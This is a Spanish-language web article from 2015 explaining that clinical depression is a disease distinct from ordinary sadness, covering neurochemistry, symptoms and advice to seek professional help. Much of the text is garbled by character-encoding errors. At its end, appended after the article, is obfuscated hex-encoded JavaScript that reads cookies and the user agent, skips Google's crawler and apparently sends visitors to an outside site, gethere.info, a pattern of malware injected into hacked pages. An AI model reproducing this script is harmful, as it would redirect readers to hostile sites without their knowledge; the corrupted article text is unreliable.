Entretenimiento

26 Sep 2015
Entretenimiento | Por: Redacción

DepresiA?n, mA?s que una simple tristeza

ai??i?? ai???A?De quAi?? podrAi??as estar deprimido?, tu vida es perfectaai???ai??i?? esta es una de las peores cosas que podAi??s decirle a quien estA? pasando por este padecimiento.

Muchas veces solemos usar la expresiA?n ai???A?estoy deprimido!ai??? porque nos sentimos tristes, porque nos dejA? el novio o novia o porque simplemente no tenemos deseos de hacer nada. Por ello, este tAi??rmino se ha banalizado hasta confundirse y perder su verdadero significado. Sin embargo, la tristeza y la depresiA?n son cosas distintas. Mientras la primera es algo que todos vivimos como una respuesta natural ante las situaciones dolorosas, la segunda es una enfermedad.

(Si existe el corazA?n roto)

Ante todo, es necesario entender que la depresiA?n no es una opciA?n ni es siempre causada por un evento triste y traumA?tico. SegA?n la pA?gina web Mental Health America, la depresiA?n clAi??nica es una enfermedad grave y comA?n que afecta a quienes la padecen tanto a nivel fAi??sico como mental. Esta cambia la forma de ver el mundo, de sentir y de pensar de las personas y no suele desaparecer de la noche a la maAi??ana. Puede durar desde semanas y meses hasta aAi??os.

Sus causas son variadas, pero la bioquAi??micaAi??puede ayudar a explicarla en muchos casos. Las personas deprimidas muestranAi??niveles muy altosAi??deAi??cortisolAi??(unaAi??hormona) y de varios agentes quAi??micos que actA?an en el cerebro, como los neurotransmisores serotonina, dopamina y noradrenalina. Estos controlan el placer, laAi??ira, laAi??agresiA?n, laAi??temperatura corporal, elAi??humor, elAi??sueAi??o, elAi??vA?mito, laAi??sexualidad y elAi??apetito.

Es por ello que muchos de quienes la padecen suelen sentir ansiedad, pAi??rdida del sueAi??o, del apetito, y falta de interAi??s en realizar diferentes actividades. Incluso, pueden llegar a Ai??sentir deseos de alejarse de su familia, de sus amigos y de su trabajo.Ai?? Aquello que antesAi?? les motivaba y era importante para ellos deja de serlo sA?bitamente ante una crisis depresiva.

SegA?n el Dr. JosAi?? Manuel MenchA?n MagriAi??a, Jefe del Servicio de PsiquiatrAi??a del Hospital Universitario de Bellvitge, en EspaAi??a, esta es una enfermedad crA?nica, comparable a la diabetes o a la hipertensiA?n. La buena noticia es que por tratarse de un trastorno ampliamente estudiado puede ser controlada satisfactoriamente, haciendo pequeAi??os cambios en la vida diaria o Ai??en casos mA?s severos, mediante medicamentos.

Algunos de los consejos para prevenir la depresiA?n son: mantener una vida saludable, hacer ejercicio y mantener una buena alimentaciA?n, proponerse metas, buscar actividades creativas y aprender a controlar el estrAi??s. Sin embargo, esto no debe reemplazar la ayuda de un profesional, la cual es de suma importancia para poder sobrellevar la enfermedad a largo plazo.

Si creAi??s que podrAi??as estarla padeciendo, no dudAi??s en buscar ayuda. Pero si pensA?s que alguien cercano a vos es quien puede estar sufriendo de este trastorno, debAi??s instarlo a buscar a un profesional y, sobre todo, hacerle saber que Ai??cuenta con tu apoyo. Lo mA?s importante es no recriminarle a esta persona su desmotivaciA?n y estado anAi??mico, puesto que sentirse asAi?? no es una decisiA?n para ella.depresion2var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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